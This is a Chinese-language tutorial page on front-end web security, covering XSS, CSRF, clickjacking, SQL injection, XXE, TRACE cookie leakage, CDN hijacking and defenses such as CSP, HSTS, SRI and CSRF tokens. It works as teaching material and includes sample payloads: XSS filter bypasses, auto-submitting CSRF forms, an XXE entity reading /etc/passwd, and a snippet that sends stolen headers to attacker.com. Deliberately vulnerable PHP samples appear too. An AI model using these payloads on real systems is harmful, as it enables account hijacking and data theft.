> For the complete documentation index, see [llms.txt](https://lizh.gitbook.io/knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lizh.gitbook.io/knowledge/frontend/03-gao-ji-01-qian-duan-an-quan-shen-du-jie-xi.md).

# 高级 01 前端安全深度解析

**安全**，是所有互联网企业都绕不开的话题。

如果把安全问题按照所发生的区域来进行分类的话，那么所有发生在后端服务器、应用、服务当中的安全问题就是 **后端安全问题**，而所有发生在浏览器、单页面应用、Web 页面当中的安全问题则算是 **前端安全问题**。

前端安全，简单说就是**攻击者通过利用网站前端（HTML、CSS、JavaScript）的漏洞，来窃取用户数据、伪造用户操作或破坏网页正常功能**的一系列安全问题。

与后端安全（如 SQL 注入、服务器入侵）不同，前端安全主要瞄准的是用户浏览器里的数据和代码。

## XSS（跨站脚本攻击）

XSS （Cross-Site Scripting，为区分 CSS，把第一个字母改成了 X）是跨站脚本攻击，**这是最普遍、危害最大的前端漏洞。**

**XSS 核心原理**：攻击者把**恶意的脚本（通常是 JavaScript）注入**到看起来正常的网站中，**在受害者浏览器中执行**。

**XSS 危害**：

* **窃取Cookie**：获取用户的敏感信息，如 Cookie、SessionID 等。
* **键盘记录**：记录用户在网页上输入的所有内容。
* **钓鱼**：在真实页面上伪造一个登录框，骗用户输入密码。
* **劫持操作**：发起非用户本意的操作请求，比如发帖、转账、删帖等。

```javascript
<input type="text" id="userInput" placeholder="输入内容" value="">
<button onclick="showInput()">提交</button>
<div id="result"></div>

<script>
function showInput() {
  const input = document.getElementById('userInput').value;
  document.getElementById('result').innerHTML = input; 
}
</script>
```

当攻击者在输入框里填 `<script>alert('XSS攻击成功')</script>`，就会变成：

```html
<div id="result">
  <script>alert('XSS攻击成功')</script>
</div>
```

XSS 攻击可分为三类：反射型、存储型、DOM 型。

### 反射型 XSS

反射型 XSS 又称**非持久性 XSS**（通常发生在服务端渲染场景）：攻击者将恶意脚本拼接在 URL 请求参数中，服务端接收参数后未做转义过滤，直接将参数内容拼入 HTML 页面并返回浏览器，页面加载时恶意代码被浏览器解析执行，完成攻击。

**攻击流程**：

* 攻击者构造携带恶意 JS 脚本的 URL；
* 通过短信、钓鱼邮件等方式诱导用户访问；
* 用户请求链接，**服务端渲染将原样 URL 参数带入到 HTML 源码**；
* 浏览器加载后端返回的完整页面，解析并执行内嵌恶意脚本。

```php
<!-- 这是后端渲染出来的 HTML -->
<div id="result">
  <?php echo $_GET['q']; ?>  <!-- 后端直接输出 -->
</div>
```

```javascript
// 携带恶意 JS 脚本的 URL
xss.php?q=<script>alert('经典反射型 XSS')</script>
```

```javascript
// 最终返回的页面源代码
<div id="result">
  <script>alert('经典反射型 XSS')</script>
</div>
```

### 存储型 XSS

存储型 XSS 又称**持久性 XSS**（通常发生在服务端渲染场景）：攻击者将恶意脚本提交到**服务器数据库 / 文件存储**中，服务端未做转义过滤，当其他用户访问该页面时，服务端从存储中取出恶意脚本，直接拼入 HTML 页面并返回浏览器，页面加载时恶意代码被浏览器解析执行，完成攻击。

这是**危害最大**的 XSS 类型，常见于带保存数据功能的网站，如论坛发帖、商品评论、用户私信等。

**攻击流程**：

* 攻击者将恶意 JS 脚本提交到留言板、评论区、个人资料等功能；
* 服务端接收后**直接存入数据库 / 存储**，不做过滤；
* 其他用户访问该页面时，**服务端从存储取出恶意脚本渲染到 HTML 源码**；
* 浏览器加载页面，自动解析并执行内嵌的恶意脚本。

```php
<form method="post">
  <input type="text" name="content" placeholder="写下你的留言">
  <button type="submit">提交留言</button>
</form>

<div>
  <?php
    $pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
    if ($_POST['content']) {
      $content = $_POST['content'];
      $pdo->query("INSERT INTO comments(content) VALUES('$content')");
    }

    $stmt = $pdo->query("SELECT content FROM comments");
    $comments = $stmt->fetchAll(PDO::FETCH_ASSOC);

    foreach ($comments as $c) {
      echo "<div>" . $c['content'] . "</div>"; 
    }
  ?>
</div>
```

```javascript
// 攻击者提交的恶意内容
<script>alert('经典存储型 XSS 攻击成功！所有人访问都会中招！')</script>
```

### DOM 型 XSS

DOM 型 XSS 完全发生在**客户端**，不涉及服务器的响应：攻击者**通过恶意脚本操作 DOM** 来改变页面结构。

**注意**：**标准定义里的 DOM XSS 默认指代纯前端造成的漏洞**。它与服务端渲染无关，全程只发生在浏览器的 JavaScript 执行和 DOM 渲染阶段。

**DOM 型 XSS 和 反射 / 存储型 XSS 的区别**：反射 / 存储型 XSS 的数据是由**服务端渲染**输出到页面，DOM 型 XSS 的是**前端渲染**到页面。

**攻击流程**：

* 攻击者构造一个包含恶意内容的 URL；
* 诱导用户访问 URL；
* 前端 JavaScript 代码从 URL 中读取参数，将不安全的参数代码写入页面 DOM；
* 浏览器解析更新后的 DOM 节点，直接执行恶意脚本。

```javascript
<input type="text" id="keyword" placeholder="输入搜索内容">
<button onclick="search()">搜索</div>
<div id="result"></div>

<script>
	const urlParams = new URLSearchParams(window.location.search);
  const userInput = urlParams.get('q');
  
  if (userInput) {
    document.getElementById("result").innerHTML = "搜索结果：" + userInput;
  }

  function search() {
    const keyword = document.getElementById("keyword").value;
    window.location.hash = `q=${keyword}`;
  }
</script>
```

```javascript
http://localhost/xss.html#q=<img src=x onerror="alert('DOM XSS 攻击成功！')">
```

**注意：** 反射型 XSS 和 存储型 XSS 中，加载的 HTML 文档是经过服务端处理的，注入了一些业务相关的数据，导致恶意代码混入在 HTML 文档，也就是常说的服务端渲染，如 jsp、asp 等网页。如果是静态 HTML 或者单页面应用，也就是前端渲染，就不会出现这两种攻击，但仍要注意 DOM 型 XSS。

### XSS 高级攻击技巧

绕过 `<script>` 标签的过滤：

```javascript
<!-- 使用不同标签 -->
<img src="x" onerror="alert(1)">
<body onload="alert(1)">
<svg onload="alert(1)">

<!-- 使用事件属性 -->
<div onclick="alert(1)">点击</div>
<input onfocus="alert(1)" autofocus>

<!-- 使用javascript:伪协议 -->
<a href="javascript:alert(1)">点击</a>
<iframe src="javascript:alert(1)">
```

利用 DOM 属性：

```javascript
// 利用innerHTML
document.write("<div>" + userInput + "</div>");

// 利用setAttribute
element.setAttribute("onclick", userInput);

// 利用style属性
<div style="background:url('javascript:alert(1)')">
```

### XSS 的真实危害案例

* **MySpace 蠕虫（2005年）**：攻击者 Samy 在个人简介中注入 XSS 代码，任何查看他页面的用户会自动添加他为好友，并在自己的个人简介中复制这段代码。24小时内感染了超过 100 万用户。
* **Twitter "onmouseover" 漏洞（2010年）**：攻击者发现可以通过在推文中插入 `onmouseover` 事件执行 JavaScript。鼠标经过该推文就会执行弹窗、转发恶意内容等操作。
* **英国国税局Cookie窃取（2013年）**：攻击者利用 XSS 漏洞窃取用户的会话 Cookie，然后用这些 Cookie 访问受害者的税务账户，获取敏感信息。

### XSS 的防御措施

XSS 攻击是程序错误地将数据（如，`<script>`）当作了代码来执行，**核心防御策略：输出转义**。

* **输出转义（核心防御）**：对插入的数据转义，确保恶意代码不会被浏览器执行：
  * **HTML标签**：将 <、>、&、"、' 等字符转义为 HTML 实体。
  * **HTML属性**：对属性值进行转义，并避免使用 `javascript:` 伪协议。
  * `JavaScript 代码`：对字符串中的特殊字符（如引号、换行符）进行转义。
  * **URL**：使用 encodeURIComponent 进行编码。
* **输入校验（服务端为主，前端为辅）**：
  * **服务端**：对用户输入进行严格的格式校验，优先采用白名单机制（如校验邮箱、手机号、数字范围），拒绝不符合预期格式的数据。
  * **前端**：对用户输入进行校验（如限制输入长度、类型），但仅用于提升用户体验，不可作为安全防御手段，因为攻击者可直接通过 API 工具（如Postman、curl）绕过前端发送恶意载荷。
* **优先使用安全的 api**：尽量避免使用 `innerHTML`、`document.write`、`outerHTML`、`eval` 等危险方法，优先使用 `textContent`、`innerText`、`setAttribute` 等更安全的替代方案。
* **设置 Cookie 安全属性**：
  * **HttpOnly**：服务端为敏感信息（如会话ID、Token）的 Cookie 设置 HttpOnly 属性，让 JavaScript 无法读取 Cookie。
  * **Secure**：仅允许 HTTPS 传输。
  * **SameSite**：不允许跨域携带。
* **开启 CSP（内容安全策略）**：这是额外的浏览器端安全层，通过白名单机制明确告诉浏览器哪些来源的资源可以被加载和执行。CSP 可以有效拦截 XSS 攻击——即使攻击者成功注入了恶意脚本，浏览器也会因违反 CSP 策略而拒绝执行。
* **借助自动扫描工具主动发现漏洞**：使用专业的安全扫描工具定期检测 XSS 漏洞。常用工具包括：
  * **Arachni**：功能全面的 Web 应用安全扫描框架。
  * **w3af**：开源的 Web 应用攻击与审计框架。
  * **Burp Suite Scanner**：商业级Web漏洞扫描工具（业界常用）。
  * **Mozilla HTTP Observatory**：检查HTTP安全头配置（如CSP、HSTS等），侧重于配置类风险评估。

## CSRF（跨站请求伪造攻击）

CSRF（Cross-Site Request Forgery）称为**跨站请求伪造攻击**，是一种利用**用户已登录的身份**，在用户不知情的情况下发起恶意请求的攻击方式。

CSRF 的本质：攻击者利用**浏览器自动携带 Cookie 的机制**，冒充用户的身份，向目标网站的服务器发送非用户本意的操作。

**CSRF 攻击的三个前提条件**：

* **用户已登录目标网站**（如银行网站、社交网站），且会话 Cookie 仍然有效。
* **目标网站没有对请求来源做校验**（没有 CSRF Token 或 Referer 检查）。
* **攻击者能够诱导用户访问恶意网站**（通过钓鱼邮件、恶意广告、XSS漏洞等）。

**注意**：浏览器同源策略限制的是\*\*“读取”操作\*\*，而不是\*\*“发送”操作\*\*。使用 `fetch` 或 `XMLHttpRequest` 发跨域请求时，请求**确实会发出**，但读取响应会被**CORS策略**阻止（不是同源策略），而 `img`、`a`、`form`、`script` 这些标签的跨域请求完全不受限制。

### GET 请求型 CSRF（最经典）

GET 请求型 CSRF 的核心是利用浏览器在**加载资源**（如图片）时，会自动携带目标网站的 Cookie。

**攻击流程：**

* **用户正常登录目标网站**：服务器在用户的浏览器里设置一个**会话凭证（Cookie）**。
* 攻击者构造恶意链接，诱导用户访问。
* **浏览器自动携带凭证发送请求**：当用户访问恶意链接时，浏览器会向目标网站服务器发起一个 GET 请求。其中**最关键**的是：浏览器在发送这个请求时，会**自动携带**目标网站的 Cookie。
* **服务器处理请求，攻击完成**：目标网站的服务器收到了这个 GET 请求，服务器对 Cookie 进行常规检查，确认是有效的 Cookie。于是，服务器认为：**这是一个由已登录用户本人发出的、合法的请求**。随后，服务器就执行了操作。

```javascript
<!-- 目标网站 API -->
https://target.example.com/delete?account=123456

<!-- 攻击者构造的恶意网站 evil.com -->
<!-- 页面上有一个 img 标签，调用目标网站 API -->
<img src="https://target.example.com/delete?account=123456" style="display:none">
```

### POST 请求型 CSRF（自动提交表单）

POST 型 CSRF 的核心是利用浏览器在**提交表单**时，会自动携带目标网站的 Cookie。

**攻击流程：**

* **用户正常登录目标网站**：服务器在用户的浏览器里设置一个**会话凭证（Cookie）**。
* 攻击者构造恶意页面，诱导用户访问。
* **浏览器自动携带凭证发送请求**：当用户访问恶意页面时，页面中的**脚本会触发隐藏表单自动提交**，浏览器向目标网站服务器发起一个 POST 请求。其中**最关键**的是：浏览器在发送这个请求时，会**自动携带**目标网站的 Cookie。
* **服务器处理请求，攻击完成**：目标网站的服务器收到了这个 POST 请求，服务器对 Cookie 进行常规检查，确认是有效的 Cookie。于是，服务器认为：**这是一个由已登录用户本人发出的、合法的请求**。随后，服务器就执行了操作。

**与 GET 型 CSRF 的核心区别**：GET 请求型 CSRF 利用 `img`、`a`、`link` 等标签；POST 请求型 CSRF 利用 `<form>` + JavaScript。

```javascript
<!-- 目标网站 API（POST 方式） -->
POST https://target.example.com/delete
Body: account=123456

<!-- 攻击者构造的恶意网站 evil.com -->
<!-- 页面上有一个隐藏表单，进入页面时自动提交 -->
<form id="hack" action="https://target.example.com/delete" method="POST">
    <input name="account" value="123456">
</form>
<script>
    document.getElementById('hack').submit();
</script>
```

### 利用 JSONP 或 CORS 进行 CSRF 攻击

这是比 GET 请求型 CSRF、POST 请求型 CSRF **更高级、危害更大**的攻击方式：它不仅能**发起请求**，还能**窃取响应数据**。

**JSONP（JSON with Padding）** 是一种让网页跨域获取数据的**历史技术方案**，其核心原因是 **script 标签加载的内容会被浏览器当作 JavaScript 代码立即执行**。

在 CORS 出现之前，浏览器禁止跨域读取数据。但 `script` 标签加载外部脚本不受同源策略限制，通过 JSONP 绕过跨域限制：

```javascript
var script = document.createElement('script');
script.src = 'https://target.example/api/getUserData?callback=doSomething';
document.head.appendChild(script);

// 服务端响应这个接口，并返回一段可执行的 JavaScript 代码
// 返回 JavaScript 代码：doSomething({"name":"Lizhao"})
function doSomething(data) {
  console.log(data)
}
```

利用 CORS 进行 CSRF 攻击，关键是服务端 **CORS 配置不当**。攻击者在任意域名的网站都可以用 `fetch` 或 `XMLHttpRequest` 向目标服务端发送请求。

### CSRF 的真实危害案例

* **Netflix 的 CSRF 漏洞（2016年）**：攻击者可以修改用户的订阅计划、添加其他用户的邮箱地址。只需诱导 Netflix 用户点击恶意链接，攻击者就能获得账户的部分控制权。
* **YouTube 的 CSRF 漏洞（2008年）**：攻击者可以利用 CSRF 添加恶意视频到用户的"收藏夹"、添加好友、发送消息等。虽然不直接窃取账户，但可以用于传播恶意内容。
* **路由器 CSRF 蠕虫**：许多家庭路由器的管理界面没有 CSRF 防护。恶意网站可以修改路由器的DNS设置，将用户导向钓鱼网站。2018年就出现过针对巴西路由器的 CSRF 攻击。

### CSRF 的防御措施（五道防线）

CSRF 攻击是因为浏览器发送请求会**自动带上 Cookie**。服务器无法区分是来自用户本人操作的真实页面，还是来自攻击者的恶意网站，**核心防御策略：添加第三方无法伪造的身份标识**。

* **CSRF Token（最有效、最常用）**：**在请求中携带一个攻击者无法通过跨站方式获取的额外凭证**。
  * **服务器渲染**：服务端生成一个随机生成、与当前用户会话唯一绑定的、不可预测的 Token（与用户身份绑定），嵌入到表单的隐藏字段中，并在用户提交请求时验证该 Token。
  * **前端 SPA（react、vue）**：前端通过 AJAX 调用服务端 API（配置了 CORS），获取服务端下发 Token（由于**同源策略**的限制，跨域网站**无法读取** API 返回的 Token），后续请求通过自定义请求头携带。
  * **核心缺陷**：XSS 可以读取页面上的 CSRF Token，从而绕过防御。但注意：如果网站存在 XSS，则 CSRF 已不是最大威胁，攻击者可以直接窃取 Cookie 或模拟用户操作。
* **cookie 的 Samesite 属性**： 设置第三方网站发起的请求是否允许携带 Cookie。SameSite 有三个值：
  * Strict：任何跨站请求都不发送 Cookie。
  * Lax：部分跨站请求发送，比如 GET 请求（跳转链接、预加载请求、GET 表单），POST等不发送。
  * None：所有跨站请求都发送。
  * **核心缺陷**：旧浏览器不支持或不完整支持 Samesite 属性。
* **验证 Referer 或 Origin 请求头：检查请求的来源是否来自合法域名。这个方法的局限性**：
  * IE6、7 下使用 `location.href`、 `window.open` 进行界面的跳转，会丢失 referer；
  * HTTPS 页面跳转到 HTTP 页面，所有 referer 都丢失；
  * IE 9 及以下完全不支持 Origin 头，IE 11 以下对 Origin 头的支持存在严重的兼容性问题；
  * 用户可以禁用 Referer（浏览器设置，各浏览器不同）。
  * **核心缺陷总结**：不可靠（丢失/空白）+ 兼容性差。
* **自定义请求头（适用于AJAX请求）**：利用 CORS 预检机制，在跨站请求发出前拦截。浏览器在发送带有自定义请求头的跨域请求前，必须先发送 OPTIONS 预检请求。由于恶意网站的域名不在服务器的允许列表中，预检失败，真正的请求根本不会发出。
  * **覆盖范围有限**：只能用于 AJAX，`form` 表单提交、`img`、`iframe` 等无法添加自定义头。
  * **依赖 CORS 配置**：需要服务端正确配置 `Access-Control-Allow-Headers`。
* **双重 cookie 验证**： 服务器同时从 Cookie 和请求参数/Header 中读取同一个值，验证两者是否一致。这个方案关键：恶意网站发送请求会自动携带Cookie（这是无法改变的事实），但它不能**通过 JavaScript 读取该Cookie**。
  * **核心缺陷**：Cookie 不能设置 `HttpOnly`（否则前端无法读取），XSS 可直接读取 Token；无法防御同站子域名攻击。

## ClickJacking（点击劫持）

ClickJacking（点击劫持）是一种**视觉欺骗**的攻击方式，攻击者通过隐藏的透明 iframe，诱使用户在不知情的情况下点击恶意链接或按钮。

这是一种欺骗性比较强，同时也需要用户高度参与才能完成的一种攻击。

**攻击流程**：

* 攻击者构造一个诱导用户点击的页面，比如 Web 页面小游戏；
* 将目标网站的页面放入到 iframe 当中；
* 利用 z-index 等样式将 iframe 叠加到小游戏的垂直方向的正上方，并设置为 100% 透明度；
* 受害者访问页面，看到的是一个小游戏。如果受到诱导进行了点击的话，实际上点击到的却是 iframe 中目标网站的页面。

### ClickJacking 的防御措施

* \*\*X-Frame-Options（最常用）：\*\*服务器设置 HTTP 响应头，告诉浏览器是否允许页面被嵌入 iframe、object、embed。

  ```shell
  # 完全禁止被嵌入
  X-Frame-Options: DENY

  # 只允许同域名嵌入
  X-Frame-Options: SAMEORIGIN

  # 只允许指定域名嵌入（较少用）
  X-Frame-Options: ALLOW-FROM https://trusted.com
  ```
* CSP 的 frame-ancestors（现代替代方案）：控制哪些网站可以使用 iframe、object、embed 等标签嵌入当前页面。`frame-ancestors` 比 `X-Frame-Options` 功能更强大、更灵活。如果两者同时设置，**`frame-ancestors` 会覆盖 `X-Frame-Options`**。

  ```shell
  # 禁止任何网站嵌入
  Content-Security-Policy: frame-ancestors 'none'

  # 只允许同源嵌入
  Content-Security-Policy: frame-ancestors 'self'

  # 只允许指定域名嵌入
  Content-Security-Policy: frame-ancestors https://trusted.com
  ```
* JavaScript 防御（可被绕过，不推荐单独使用）：如果目标页面在 iframe 中设置了 `sandbox="allow-scripts allow-same-origin"`，`top !== self` 判断可能失效。因此不推荐单独使用 JS 防御。

  ```shell
  if (top !== self) {
    top.location = self.location;
  }
  ```

## 其他相关安全问题

### SQL 注入

SQL 注入（SQL Injection）是一种**将恶意 SQL 代码插入到应用程序查询语句中**的攻击方式，使攻击者能够**欺骗数据库执行非预期的命令**。

```javascript
sql = "select * from users where name=" + name;
```

当用户输入 `'' or '1'='1'` 时，会变成查询所有用户：

```sql
select * from users where name='' or '1'='1';
```

SQL 注入 的防御核心是 **参数化查询**，让数据库区分代码和数据。**永远不要信任用户输入，永远不要直接拼接 SQL。**

```sql
sql = "SELECT * FROM users WHERE name = ?"
cursor.execute(sql, (username,))
```

### DDoS 攻击

DDoS（Distributed Denial of Service，分布式拒绝服务攻击）是目前最常见的网络攻击之一，核心目的就是让网站或服务**无法被正常用户访问**。

DoS（Denial of Service，拒绝服务）是指攻击者对目标网站在较短的时间内发起大量请求，大规模消耗目标网站的主机资源，让它无法正常服务。DDoS 则是 DoS 的升级版。

简单来说：

* 攻击者不断地提出服务请求，让合法用户的请求无法及时处理，这就是 DoS 攻击。
* 攻击者使用多台计算机或者计算机集群进行 DoS 攻击，就是 DDoS 攻击。

### XXE 漏洞

XXE（XML External Entity Injection，XML外部实体注入）是一种**利用 XML 解析器特性**的攻击方式。当应用程序接收并解析 XML 输入，如果没有禁止外部实体的加载，攻击者通过注入外部实体，让服务器读取本地文件、发起内网请求，甚至执行系统命令。

场景1：攻击者尝试从服务端提取数据

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <username>&xxe;</username>
    <password>123456</password>
</user>
```

```xml
<!ENTITY xxe SYSTEM "https://192.168.1.1/private">]> 
```

### HTTP 报头追踪漏洞

HTTP/1.1（RFC2616）规范定义了 HTTP `TRACE` 方法，主要是用于客户端通过向 Web 服务器提交 `TRACE` 请求来进行测试或获得诊断信息。

**核心原理**：TRACE 方法请求，服务器把客户端发送的请求头的内容（包括 Cookie）全部放在响应数据中，返回给客户端。

```javascript
var xhr = new XMLHttpRequest();
xhr.open("TRACE", "https://example.com/", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    fetch("https://attacker.com/steal", {
      method: "POST",
      body: xhr.responseText
    });
  }
};
xhr.send()
```

**备注**：这是理论攻击方式，现代浏览器已禁止，主要用于讲解历史漏洞。

### 文件上传漏洞

文件上传漏洞是指攻击者上传一个恶意文件（如 `.php` 木马）到服务器，然后访问它，服务器就执行了恶意代码。

**核心原因**：上传的文件与 Web 服务器在**同一目录**，被当作代码执行。默认情况下，服务器将 `.php` 交给 PHP 解析器执行、`.jsp` 交给 Java 容器（Tomcat）执行，`.js`、`.html` 当静态文件返回。

### CDN 劫持

CDN 劫持是一种**攻击者篡改 CDN 节点上的内容**或**劫持 DNS 解析**，使用户访问到恶意服务器的攻击方式。

**CDN（内容分发网络）** 是一组分布在全球各地的服务器，用于缓存网站内容（图片、CSS、JS），让用户从最近的节点获取数据，提高访问速度。

**CDN 劫持方式**：

* **DNS 劫持（最常见）**：攻击者篡改 DNS 服务器，使用户请求 CDN 域名时，返回攻击者的 IP。
* CDN 节点被入侵：攻击者直接入侵 CDN 服务商的某个边缘节点，篡改缓存内容。
* 中间人攻击（MTIM）：攻击者在用户和 CDN 节点之间（如公共 WiFi）拦截请求，返回恶意内容。
* CDN 配置错误：攻击者利用 CDN 配置漏洞，上传恶意文件。

**CDN 劫持的防御**：

* **SRI（Subresource Integrity，子资源完整性）**：为 CDN 文件添加哈希值，浏览器加载时校验，不一致则拒绝执行。integrity 值通常用构建工具（webpack、vite）自动处理。

  ```javascript
  <script src="https://cdn.example.com/app.js"
          integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
          crossorigin="anonymous"></script>
  ```
* **使用 HTTPS + HSTS（HTTP Strict Transport Security，HTTP严格传输安全）**： HSTS 是告诉浏览器，这个网站只能用 HTTPS 访问，不能用 HTTP。

### opener

通过 `window.open` 或者 a 标签带 `target="_blank"` 打开的页面，能使用 `window.opener` 来访问源页面的 window 对象进行篡改原页面。

采用以下方法可以阻止：

```javascript
window.open('http://target.example.com')

// 防御方式
const target = window.open()
target.opener = null
target.location = 'http://target.example.com'
```

```html
<a target="_blank" href="http://target.example.com"></a>

<!-- 防御方式 -->
<a target="_blank" href="http://target.example.com" rel="noopener noreferrer nofollow"></a>
```

## 安全策略

### HSTS（HTTP严格传输安全）

HSTS 是国际互联网工程组织 IETF 发布的一种互联网安全策略机制，通过 HTTP 响应头告诉浏览器：**这个网站的所有通信都必须使用 HTTPS，绝对禁止使用 HTTP**。

**HSTS 工作原理**：

* 服务器发送 HSTS 头：`Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`。
* 浏览器记住：浏览器收到后，记住在未来 1 年内必须用 HTTPS。
* 强制 HTTPS：下次用户输入网站域名，浏览器自动变成使用 HTTPS 协议，**根本不发 HTTP 请求**。

**注意**：用户首次访问某网站是不受 HSTS 保护的。这是因为首次访问时，浏览器还未收到 HSTS，所以仍有可能通过明文 HTTP 来访问。解决方案：一是在浏览器预置 HSTS 域名列表，二是将 HSTS 信息加入到域名系统记录中。

**浏览器 HSTS 域名列表**：Chrome 的 `chrome://net-internals/#hsts`，可以查询预置列表，还可以手动把域名加到预置列表。

### CSP（内容安全策略）

CSP（Content Security Policy）是一种**浏览器端的安全机制**，通过设置白名单，告诉浏览器哪些资源可以加载和执行，从而有效防御 XSS、数据注入等攻击。

**CSP 本质**：**给浏览器一个白名单**，**告诉浏览器哪种类型资源可以从哪个或者哪些域名下加载和执行**。

服务器通过 HTTP 响应头返回 CSP：

```shell
# 所有内容均来自站点的同一个源 (不包括其子域名)
Content-Security-Policy: default-src 'self'

# 允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同)
Content-Security-Policy: default-src 'self' *.trusted.com

# 允许网页应用的用户在他们自己的内容中包含来自任何源的图片, 但是限制音频或视频需从信任的资源提供者(获得)，所有脚本必须从特定主机服务器获取可信的代码
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
```

HTML `meta` 标签配置 CSP：

```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```

## 相关问题

### 请求头 origin、referer、host 区别？

* **Host：** 标识请求来源的**域名和端口号**，在任何类型请求中，请求头都必须包含此信息（HTTP/1.1 规范要求）。host是**浏览器自动设置**，无法通过 JavaScript 修改。**注意**：HTTP/2 中表现为 `:authority` 属性。
* **Origin：** 标识请求来源的协议、域名、端口号。**只在发送跨域请求**或者**同域的 Post 请求**，才会携带 Origin 请求头。
* **Referer：** 标识请求来源的协议、域名、端口号、路径、参数（不包含 hash 值）。以下场景不会携带 Referer：
  * HTTPS 链接跳转到 HTTP 链接（取决浏览器 `Referrer-Policy` 配置）。
  * 在 `<a>` 或 `<area>` 标签中添加 `rel="noreferrer"`。
  * `<meta name="referrer">` 配置为 `no-referrer`。
  * HTTP 响应头 `Referrer-Policy: no-referrer`。
  * 使用 `window.open` 且不指定 `referrer`。
  * 用户在浏览器地址栏直接输入网址，或从书签/收藏夹打开。
  * 用户在浏览器设置禁用 Referer。

## 参考资料

[前端安全系列（一）：如何防止XSS攻击？](https://juejin.cn/post/6844903685122703367)

[前端安全系列之二：如何防止CSRF攻击？](https://juejin.cn/post/6844903689702866952)

[web安全之--点击劫持攻击与防御技术简介](https://www.jianshu.com/p/251704d8ff18)

[开启HSTS让浏览器强制跳转HTTPS访问](https://www.cnblogs.com/lsgxeva/p/11275465.html)

[前端安全汇总（持续更新）](https://blog.flqin.com/390.html)

[8大前端安全问题（上） | 洞见](https://mp.weixin.qq.com/s?__biz=MjM5MjY3OTgwMA==\&mid=2652459169\&idx=1\&sn=5083ef03007904941fea7c3e9f9fd3c5\&chksm=bd4f62b68a38eba0afab63c31f0d56cfe0173a4916beb0ba614a65868309102f2b8a02a4307b\&scene=21#wechat_redirect)

[内容安全策略( CSP )](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP)
